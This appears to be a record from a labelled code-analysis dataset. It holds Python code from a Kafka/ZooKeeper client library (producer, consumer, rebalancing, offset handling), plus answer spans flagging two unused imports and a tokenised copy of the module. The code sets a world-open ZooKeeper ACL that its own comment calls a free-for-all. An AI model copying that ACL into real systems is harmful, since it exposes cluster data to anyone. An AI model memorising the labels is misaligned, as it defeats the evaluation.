'object', ')', ':', '___EOS___']", "index": 337 }, { "content": " def send(self, msgs):\n if not msgs:\n return\n\n if not self._all_callbacks_registered():\n self._register_callbacks()\n if self._bps_changed:\n self.detect_broker_partitions()\n\n broker_partition = random.choice(self._broker_partitions)\n kafka_conn = self._connections[broker_partition.broker_id]\n kafka_conn.produce(self.topic, msgs, broker_partition.partition)\n\n bytes_sent = sum(len(m) for m in msgs)\n log.debug(self._log_str(u\"sent {0} bytes to {1}\"\n .format(bytes_sent, broker_partition)))\n return broker_partition", "metadata": "root.ZKProducer.send", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 340 }, { "content": " def detect_broker_partitions(self):\n bps = self._zk_util.broker_partitions_for(self.topic, \n force_partition_zero=True)\n if not bps:\n raise NoAvailablePartitionsError(u\"No brokers were found!\")\n \n self._broker_partitions = bps\n self._bps_changed = False", "metadata": "root.ZKProducer.detect_broker_partitions", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 358 }, { "content": " def _unbalance(self, nodes):\n self._bps_changed = True", "metadata": "root.ZKProducer._unbalance", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 367 }, { "content": " def _register_callbacks(self):\n zk = self._zk_util._zk # FIXME: Evil breaking of encapsulation\n\n path_for_brokers = self._zk_util.path_for_brokers()\n path_for_topic = self._zk_util.path_for_topic(self.topic)\n if self._brokers_watch is None and zk.exists(path_for_brokers):\n self._brokers_watch = zk.children(path_for_brokers)(self._unbalance)\n if self._topic_watch is None and zk.exists(path_for_topic):\n self._topic_watch = zk.children(path_for_topic)(self._unbalance)\n\n log.debug(\"Producer {0} has watches: {1}\"\n .format(self._id, sorted(zk.watches.data.keys())))", "metadata": "root.ZKProducer._register_callbacks", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 370 }, { "content": " def _all_callbacks_registered(self):\n \"\"\"Are all the callbacks we need to know when to rebalance actually \n registered? Some of these (like the topic ones) are the responsibility\n of the broker to create.\"\"\"\n return all([self._brokers_watch, self._topic_watch])", "metadata": "root.ZKProducer._all_callbacks_registered", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 383 }, { "content": " def _log_str(self, s):\n return u\"ZKProducer {0} > {1}\".format(self._id, s)", "metadata": "root.ZKProducer._log_str", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 389 }, { "content": " def __del__(self):\n self.close()", "metadata": "root.ZKProducer.__del__", "header": "['class', 'ZKProducer', '(', 'object', ')', ':', '___EOS___']", "index": 392 }, { "content": "class ZKConsumer(object):\n \"\"\"Take 2 on the rebalancing code.\"\"\"\n\n\n\n\n\n\n\n\n \n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.ZKConsumer", "header": "['module', '___EOS___']", "index": 396 }, { "content": " def __init__(self, zk_conn, consumer_group, topic, autocommit=True, zk_timeout=None):\n \"\"\"FIXME: switch arg order and default zk_conn to localhost?\"\"\"\n # Simple attributes we return as properties\n self._id = self._create_consumer_id(consumer_group)\n self._topic = topic\n self._consumer_group = consumer_group\n self._autocommit = autocommit\n\n # Internal vars\n self._zk_util = ZKUtil(zk_conn, zk_timeout)\n self._needs_rebalance = True\n self._broker_partitions = [] # Updated during rebalancing\n self._bps_to_next_offsets = {} # Updated after a successful fetch\n self._rebalance_enabled = True # Only used for debugging purposes\n\n # These are to handle ZooKeeper notification subscriptions.\n self._topic_watch = None\n self._topics_watch = None\n self._consumers_watch = None\n self._brokers_watch = None\n\n # Register ourselves with ZK so other Consumers know we're active.\n self._register()\n\n # Force a rebalance so we know which broker-partitions we own\n self.rebalance()\n\n self._stats = defaultdict(lambda: ConsumerStats(fetches=0, bytes=0, messages=0, max_fetch=0))", "metadata": "root.ZKConsumer.__init__", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 399 }, { "content": " @property\n def id(self): return self._id", "metadata": "root.ZKConsumer.id", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 428 }, { "content": " @property\n def topic(self): return self._topic", "metadata": "root.ZKConsumer.topic", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 430 }, { "content": " @property\n def consumer_group(self): return self._consumer_group", "metadata": "root.ZKConsumer.consumer_group", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 432 }, { "content": " @property\n def autocommit(self): return self._autocommit", "metadata": "root.ZKConsumer.autocommit", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 434 }, { "content": " @property\n def stats(self): \n ''' Returns the aggregate of the stats from all the broker partitions\n '''\n fetches = 0\n bytes = 0\n messages = 0\n max_fetch = 0\n for stats in self._stats.values():\n fetches += stats.fetches\n bytes += stats.bytes\n messages += stats.messages\n max_fetch = max(max_fetch, stats.max_fetch)\n\n return ConsumerStats(fetches, bytes, messages, max_fetch)", "metadata": "root.ZKConsumer.stats", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 438 }, { "content": " def stats_by_broker_partition(self):\n return dict(self._stats)", "metadata": "root.ZKConsumer.stats_by_broker_partition", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 454 }, { "content": " @property\n def broker_partitions(self):\n if self._needs_rebalance:\n self.rebalance()\n return self._broker_partitions", "metadata": "root.ZKConsumer.broker_partitions", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 457 }, { "content": " @property\n def brokers(self):\n return sorted(frozenset(bp.broker_id for bp in self.broker_partitions))", "metadata": "root.ZKConsumer.brokers", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 463 }, { "content": " def close(self):\n if hasattr(self, '_zk_util'):\n self._zk_util.close()", "metadata": "root.ZKConsumer.close", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 467 }, { "content": " def simple_consumer(self, bp_ids_to_offsets):\n \"\"\"bp_pairs_to_offsets is a dictionary of tuples to integers like the\n following:\n\n {\n \"0-0\" : 2038903,\n \"0-1\" : 3930198,\n \"1-0\" : 3932088,\n \"1-1\" : 958\n }\n\n The keys are of the format \"[broker_id]-[partition_id]\".\n\n The values are offsets.\n\n This method will return a SimpleConsumer that is initialied to read from\n the brokers listed at the offsets specified.\n \"\"\"\n all_broker_partitions = self._zk_util.broker_partitions_for(self.topic)\n broker_partitions = dict((bp, bp_ids_to_offsets(bp.id))\n for bp in all_broker_partitions\n if bp.id in bp_ids_to_offsets)\n \n return SimpleConsumer(self.topic, broker_partitions)", "metadata": "root.ZKConsumer.simple_consumer", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 471 }, { "content": " def fetch(self, max_size=None, retry_limit=3, ignore_failures=False):\n \"\"\"Return a FetchResult, which can be iterated over as a list of \n MessageSets. A MessageSet is returned for every broker partition that\n is successfully queried, even if that MessageSet is empty.\n\n FIXME: This is where the adjustment needs to happen. Regardless of \n whether a rebalance has occurred or not, we can very easily see if we\n are still responsible for the same partitions as we were the last time\n we ran, and set self._bps_to_next_offsets --> we just need to check if\n it's not None and if we still have the same offsets, and adjust \n accordingly.\n \"\"\"\n def needs_offset_values_from_zk(bps_to_offsets):\n \"\"\"We need to pull offset values from ZK if we have no \n BrokerPartitions in our BPs -> Offsets mapping, or if some of those\n Offsets are unknown (None)\"\"\"\n return (not bps_to_offsets) or (None in bps_to_offsets.values())\n\n log.debug(\"Fetch called on ZKConsumer {0}\".format(self.id))\n if self._needs_rebalance:\n self.rebalance()\n\n # Find where we're starting from. If we've already done a fetch, we use \n # our internal value. This is also all we can do in the case where \n # autocommit is off, since any value in ZK will be out of date.\n bps_to_offsets = dict(self._bps_to_next_offsets)\n offsets_pulled_from_zk = False\n\n if needs_offset_values_from_zk(bps_to_offsets):\n # We have some offsets, but we've been made responsible for new\n # BrokerPartitions that we need to lookup.\n if bps_to_offsets:\n bps_needing_offsets = [bp for bp, offset in bps_to_offsets.items() \n if offset is None]\n # Otherwise, it's our first fetch, so we need everything\n else:\n bps_needing_offsets = self.broker_partitions\n\n bps_to_offsets.update(self._zk_util.offsets_for(self.consumer_group,\n self._id,\n bps_needing_offsets))\n offsets_pulled_from_zk = True\n\n # Do all the fetches we need to (this should get replaced with \n # multifetch or performance is going to suck wind later)...\n message_sets = []\n # We only iterate over those broker partitions for which we have offsets\n for bp in bps_to_offsets:\n offset = bps_to_offsets[bp]\n kafka = self._connections[bp.broker_id]\n partition = kafka.partition(bp.topic, bp.partition)\n\n if offset is None:\n offset = partition.latest_offset()\n \n try:\n offsets_msgs = kafka.fetch(bp.topic, \n offset,\n partition=bp.partition,\n max_size=max_size)\n\n # If our fetch fails because it's out of range, and the values came\n # from ZK originally (not our internal incrementing), we assume ZK\n # is somehow stale, so we just grab the latest and march on.\n except OffsetOutOfRange as ex:\n if offsets_pulled_from_zk:\n log.error(\"Offset {0} from ZooKeeper is out of range for {1}\"\n .format(offset, bp))\n offset = partition.latest_offset()\n log.error(\"Retrying with offset {0} for {1}\"\n .format(offset, bp))\n offsets_msgs = kafka.fetch(bp.topic, \n offset,\n partition=bp.partition,\n max_size=max_size)\n else:\n raise\n except KafkaError as k_err:\n if ignore_failures:\n log.error(\"Ignoring failed fetch on {0}\".format(bp))\n log.exception(k_err)\n continue\n else:\n raise\n\n msg_set = MessageSet(bp, offset, offsets_msgs)\n\n # fetches bytes messages max_fetch\n old_stats = self._stats[bp]\n self._stats[bp] = ConsumerStats(fetches=old_stats.fetches + 1,\n bytes=old_stats.bytes + msg_set.size,\n messages=old_stats.messages + len(msg_set),\n max_fetch=max(old_stats.max_fetch, msg_set.size))\n\n message_sets.append(msg_set)\n \n result = FetchResult(sorted(message_sets))\n\n # Now persist our new offsets\n for msg_set in result:\n self._bps_to_next_offsets[msg_set.broker_partition] = msg_set.next_offset\n\n if self._autocommit:\n self.commit_offsets()\n\n return result", "metadata": "root.ZKConsumer.fetch", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 496 }, { "content": " def commit_offsets(self):\n if self._bps_to_next_offsets:\n self._zk_util.save_offsets_for(self.consumer_group, \n self._bps_to_next_offsets)", "metadata": "root.ZKConsumer.commit_offsets", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 603 }, { "content": " def poll(self,\n start_offsets=None,\n end_offsets=None,\n poll_interval=1,\n max_size=None,\n retry_limit=3):\n \"\"\"FIXME: start/end, retry_limit\"\"\"\n while True:\n for msg_set in self.fetch(max_size=max_size):\n yield msg_set\n time.sleep(poll_interval)", "metadata": "root.ZKConsumer.poll", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 608 }, { "content": " def _create_consumer_id(self, consumer_group_id):\n \"\"\"Create a Consumer ID in the same way Kafka's reference client does\"\"\"\n hostname = platform.node()\n ms_since_epoch = int(time.time() * 1000)\n uuid_top_hex = uuid.uuid4().hex[:8]\n consumer_uuid = \"{0}-{1}-{2}\".format(hostname, ms_since_epoch, uuid_top_hex)\n\n return \"{0}_{1}\".format(consumer_group_id, consumer_uuid)", "metadata": "root.ZKConsumer._create_consumer_id", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 620 }, { "content": " def _register(self):\n \"\"\"Register ourselves as a consumer in this consumer_group\"\"\"\n self._zk_util.register_consumer(self.consumer_group, self.id, self.topic)\n # self._zk_util.create_path_if_needed()", "metadata": "root.ZKConsumer._register", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 629 }, { "content": " def rebalance(self):\n \"\"\"Figure out which brokers and partitions we should be consuming from,\n based on the latest information about the other consumers and brokers\n that are present.\n\n We registered for notifications from ZooKeeper whenever a broker or \n consumer enters or leaves the pool. But we usually only rebalance right\n before we're about to take an action like fetching.\n\n The rebalancing algorithm is slightly different from that described in\n the design doc (mostly in the sense that the design doc algorithm will\n leave partitions unassigned if there's an uneven distributions). The \n idea is that we split the partitions as evently as possible, and if\n some consumers need to have more partitions than others, the extra \n partitions always go to the earlier consumers in the list. So you could\n have a distribution like 4-4-4-4 or 5-5-4-4, but never 4-4-4-5.\n\n Rebalancing has special consequences if the Consumer is doing manual \n commits (autocommit=False):\n\n 1. This Consumer will keep using the in memory offset state for all \n BrokerPartitions that it was already following before the rebalance.\n 2. The offset state for any new BrokerPartitions that this Consumer is\n responsible for after the rebalance will be read from ZooKeeper.\n 3. For those BrokerPartitions that this Consumer was reading but is no\n longer responsible for after the rebalance, the offset state is \n simply discarded. It is not persisted to ZooKeeper.\n \n So there is no guarantee of single delivery in this circumstance. If \n BrokerPartition 1-0 shifts ownership from Consumer A to Consumer B in \n the rebalance, Consumer B will pick up from the last manual commit of \n Consumer A -- *not* the offset that Consumer A was at when the rebalance\n was triggered.\n \"\"\"\n log.info((\"Rebalance triggered for Consumer {0}, broker partitions \" + \\\n \"before rebalance: {1}\").format(self.id, unicode(self)))\n\n if not self._rebalance_enabled:\n log.info(\"Rebalancing disabled -- ignoring rebalance request\")\n return \n\n # Get all the consumer_ids in our consumer_group who are listening to \n # this topic (this includes us).\n all_topic_consumers = self._zk_util.consumer_ids_for(self.topic, \n self.consumer_group)\n # Where do I rank in the consumer_group list?\n all_broker_partitions = self._zk_util.broker_partitions_for(self.topic)\n try:\n my_index = all_topic_consumers.index(self.id)\n except ValueError:\n msg_tmpl = \"This consumer ({0}) not found list of consumers \" +\\\n \"for this topic {1}: {2}\"\n raise ConsumerEntryNotFoundError(\n msg_tmpl.format(self.id, self.topic, all_topic_consumers))\n\n bp_per_consumer = len(all_broker_partitions) / len(all_topic_consumers)\n consumers_with_extra = range(len(all_broker_partitions) % len(all_topic_consumers))\n\n # If the current consumer is among those that have an extra partition...\n num_parts = bp_per_consumer + (1 if my_index in consumers_with_extra else 0)\n\n # We're the first index,\n if my_index == 0:\n start = 0\n # All the indexes before us where ones with extra consumers\n elif my_index - 1 in consumers_with_extra:\n start = my_index * (bp_per_consumer + 1)\n # There is 0 or more consumers with extra partitions followed by \n # 1 or more partitions with no extra partitions\n else:\n start = (len(consumers_with_extra) * (bp_per_consumer + 1)) + \\\n ((my_index - len(consumers_with_extra)) * bp_per_consumer)\n\n ############## Set our state info... ##############\n self._broker_partitions = all_broker_partitions[start:start+num_parts]\n\n # We keep a mapping of BrokerPartitions to their offsets. We ditch those\n # BrokerPartitions we are no longer responsible for...\n for bp in self._bps_to_next_offsets.keys():\n if bp not in self._broker_partitions:\n del self._bps_to_next_offsets[bp]\n\n # We likewise add new BrokerPartitions we're responsible for to our \n # BP->offset mapping, and set their offsets to None, to indicate that\n # we don't know, and we have to check ZK for them.\n for bp in self._broker_partitions:\n self._bps_to_next_offsets.setdefault(bp, None)\n\n # This will collapse duplicates so we only have one conn per host/port\n broker_conn_info = frozenset((bp.broker_id, bp.host, bp.port)\n for bp in self._broker_partitions)\n self._connections = dict((broker_id, Kafka(host, port))\n for broker_id, host, port in broker_conn_info)\n\n # Register all our callbacks so we know when to do this next\n self._register_callbacks()\n if self._all_callbacks_registered():\n self._needs_rebalance = False\n \n # Report our progress\n log.info(\"Rebalance finished for Consumer {0}: {1}\".format(self.id, unicode(self)))", "metadata": "root.ZKConsumer.rebalance", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 634 }, { "content": " def disable_rebalance(self):\n \"\"\"For debugging purposes -- disable rebalancing so that we can more \n easily test things like trying to request from a Kafka broker\n that's down. Normally, the rebalancing means that we should only \n encounter these situations in race conditions.\n\n I cannot think of any reason you would want to do this in actual code.\n \"\"\"\n self._rebalance_enabled = False", "metadata": "root.ZKConsumer.disable_rebalance", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 736 }, { "content": " def enable_rebalance(self):\n \"\"\"For debugging purposes -- re-enable rebalancing so that we can more \n easily test things like trying to request from a Kafka broker\n that's down. Normally, the rebalancing means that we should only \n encounter these situations in race conditions.\n\n I cannot think of any reason you would want to do this in actual code.\n \"\"\"\n self._rebalance_enabled = True", "metadata": "root.ZKConsumer.enable_rebalance", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 746 }, { "content": " def _unbalance(self, nodes):\n \"\"\"We use this so that rebalancing can happen at specific points (like\n before we make a new fetch).\"\"\"\n self._needs_rebalance = True", "metadata": "root.ZKConsumer._unbalance", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 756 }, { "content": " def _all_callbacks_registered(self):\n \"\"\"Are all the callbacks we need to know when to rebalance actually \n registered? Some of these (like the topic ones) are the responsibility\n of the broker to create. If they're not all registered yet, we need \n to be paranoid about rebalancing.\"\"\"\n return all([self._consumers_watch, \n self._brokers_watch,\n self._topics_watch,\n self._topic_watch])", "metadata": "root.ZKConsumer._all_callbacks_registered", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 761 }, { "content": " def _register_callbacks(self):\n zk = self._zk_util._zk # FIXME: Evil breaking of encapsulation\n\n # All this if None nonsense is there because some of these nodes\n # need to be created by the broker but won't be until the topic is \n # created.\n path_for_consumers = self._zk_util.path_for_consumer_ids(self.consumer_group)\n path_for_brokers = self._zk_util.path_for_brokers()\n path_for_topics = self._zk_util.path_for_topics()\n path_for_topic = self._zk_util.path_for_topic(self.topic)\n if self._consumers_watch is None and zk.exists(path_for_consumers):\n self._consumers_watch = zk.children(path_for_consumers)(self._unbalance)\n if self._brokers_watch is None and zk.exists(path_for_brokers):\n self._brokers_watch = zk.children(path_for_brokers)(self._unbalance)\n if self._topics_watch is None and zk.exists(path_for_topics):\n self._topics_watch = zk.children(path_for_topics)(self._unbalance)\n if self._topic_watch is None and zk.exists(path_for_topic):\n self._topic_watch = zk.children(path_for_topic)(self._unbalance)\n\n log.debug(\"Consumer {0} has watches: {1}\"\n .format(self._id, sorted(zk.watches.data.keys())))", "metadata": "root.ZKConsumer._register_callbacks", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 771 }, { "content": " def __unicode__(self):\n bp_ids = [bp.id for bp in self._broker_partitions]\n return (\"ZKConsumer {0} attached to broker partitions {1}\"\n .format(self.id, bp_ids))", "metadata": "root.ZKConsumer.__unicode__", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 793 }, { "content": " def __del__(self):\n self.close()", "metadata": "root.ZKConsumer.__del__", "header": "['class', 'ZKConsumer', '(', 'object', ')', ':', '___EOS___']", "index": 798 } ]
[ { "span": "from collections import namedtuple, Mapping, defaultdict", "start_line": 15, "start_column": 0, "end_line": 15, "end_column": 56 }, { "span": "from brod.base import ConnectionFailure, FetchResult, KafkaError, OffsetOutOfRange", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 82 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "TOD", "O", ":", "\\", "10", ";", "*", " ", "Move", " ", "producer", ",", " ", "consume", "r", " ", "int", "o", " ", "thei", "r", " ", "own", " ", "files", "\\", "10", ";", "*", " ", "ZK", "Ut", "il", " ", "shou", "ld", " ", "be", " ", "broken", " ", "up", " ", "int", "o", " ", "two", " ", "piece", "s", " ", "--", " ", "one", " ", "with", " ", "path", " ", "info", ",", " ", "the", " ", "rest", " ", "\\", "10", ";", " ", " ", "to", " ", "get", " ", "fold", "ed", " ", "int", "o", " ", "consume", "r", " ", "and", " ", "producer", " ", "as", " ", "necessar", "y", ".", "\\", "10", ";", "\\", "10", ";", "FIX", "ME", ":", " ", "Extract", " ", "the", " ", "logic", " ", "for", " ", "testi", "ng", " ", "how", " ", "the", " ", "broker", "s", " ", "get", " ", "partitione", "d", " ", "so", " ", "we", " ", "can", "\\", "10", ";", " ", " ", " ", "test", " ", "them", " ", "in", " ", "simple", " ", "unit", " ", "tests", " ", "with", "out", " ", "involv", "ing", " ", "Ka", "fk", "a", "/", "ZK", ".", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "platform_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "namedtuple_", ",_", "Mapping_", ",_", "defaultdict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "itertools_", "import_", "chain_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "zookeeper", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "zc", "_", "._", "zk_", "import_", "Zoo", "Keep", "er_", ",_", "Fail", "ed", "Connect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "bro", "d_", "._", "base_", "import_", "Broker", "Partition_", ",_", "Consume", "r", "Stats_", ",_", "Messag", "e", "Set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bro", "d_", "._", "base_", "import_", "Connect", "ion", "Failure_", ",_", "Fe", "tch", "Result_", ",_", "Ka", "fk", "a", "Error_", ",_", "Off", "set", "Out", "Of", "Range_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bro", "d_", "._", "simple_", "import_", "Simple", "Consumer_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "bro", "d_", "._", "blocking_", "import_", "Ka", "fk", "a_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "bro", "d", ".", "zk", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "No", "Avail", "able", "Partition", "s", "Error_", "(_", "Ka", "fk", "a", "Error_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "Consume", "r", "Entr", "y", "Not", "Foun", "d", "Error_", "(_", "Ka", "fk", "a", "Error_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "class_", "ZK", "Connect", "Error_", "(_", "Ka", "fk", "a", "Error_", ")_", ":_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ACL", "_", "=_", "[_", "{_", "\"", "perm", "s", "\"_", ":_", "0x1f", "_", ",_", "\"", "sche", "me", "\"_", ":_", "\"", "world", "\"_", ",_", "\"", "id", "\"_", ":_", "\"", "any", "one", "\"_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Abstract", "s", " ", "all", " ", "Ka", "fk", "a", "-", "specific", " ", "Zoo", "Keep", "er", " ", "access", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "zk", "\\u", "conn", "\\u", "str_", ",_", "zk", "\\u", "timeout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "zk_", "=_", "Zoo", "Keep", "er_", "(_", "zk", "\\u", "conn", "\\u", "str_", ",_", "zk", "\\u", "timeout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Fail", "ed", "Connect_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "ZK", "Connect", "Error_", "(_", "e_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "close_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "zk_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "ZK", "Util_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "is", " ", "a", " ", "free", "-", "for", "-", "all", " ", "ACL", " ", "tha", "t", " ", "we", " ", "shou", "ld", " ", "re", "-", "evaluate", " ", "later_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uEOS\\u\\u\\u_", 